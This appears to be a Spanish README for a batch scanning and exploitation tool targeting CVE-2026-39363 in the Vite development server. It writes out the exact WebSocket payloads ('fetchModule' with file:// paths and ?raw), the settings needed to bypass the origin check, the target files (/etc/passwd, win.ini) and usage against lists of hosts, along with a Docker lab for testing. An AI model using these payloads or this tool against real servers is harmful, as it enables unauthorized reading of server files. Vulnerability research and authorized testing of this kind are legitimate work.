
Escáner de vulnerabilidades por lotes para CVE-2026-39363 en el servidor de desarrollo de Vite, que explota la omisión de validación de origen de WebSocket para leer archivos arbitrarios mediante fetchModule con el protocolo file://.
Descargo de responsabilidad: Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas e investigación educativa. Los usuarios deben cumplir con las leyes y regulaciones locales; escanear o atacar sistemas de terceros sin autorización es ilegal. El autor no se hace responsable de ningún uso indebido.
El servidor de desarrollo de Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) no valida el encabezado Origin en su WebSocket HMR. Un atacante puede invocar fetchModule a través del evento vite:invoke, utilizando el protocolo file:// junto con el parámetro ?raw para eludir la restricción server.fs.allow y leer archivos arbitrarios del servidor.
url.txt → http://host:port
↓ analizar host + port
↓
┌─ Paso 1: intentar ws://host:puerto_dado
│ ├─ Handshake WebSocket exitoso + exploit exitoso → vulnerable
│ └─ fallo → si el puerto dado == 5173 → no vulnerable
│
└─ Paso 3: probar host:5173 (solo si el puerto dado ≠ 5173)
├─ puerto cerrado → no vulnerable
└─ puerto abierto → handshake WebSocket + exploit en 5173
├─ éxito → vulnerable
└─ fallo → no vulnerable
pip install -r requirements.txt
Para activar el proxy, descomenta las líneas 26-27 del script
# Para activar el proxy, descomenta las dos líneas siguientes y configura la dirección y el puerto del proxy correctos
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Escribe las URL de destino en url.txt, una por línea:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminal:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Cada línea contiene el tipo de POC (
Linux/Windows), que identifica las características del archivo leído correctamente.
| Sistema objetivo | Archivo leído | Marcador característico |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Se admiten dos formatos de payload (se intentan en orden):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Parámetro | Valor | Motivo |
|---|---|---|
| Subprotocolo | vite-hmr | Requisito del WebSocket HMR de Vite |
| Origin | Supresión de envío (suppress_origin=True) | Vite rechaza conexiones no provenientes de navegador con encabezado Origin |
# Iniciar
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Escanear
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Limpiar
docker stop vite-vuln && docker rm vite-vuln
P: ¿Todas las detecciones devuelven "no vulnerable"?
--host o server.hostWebSocket no está deshabilitado con server.ws: falseP: ¿Salida corrupta en Windows?
P: ¿El url.txt generado en PowerShell no se puede analizar?
utf-8-sig para omitir automáticamente la BOM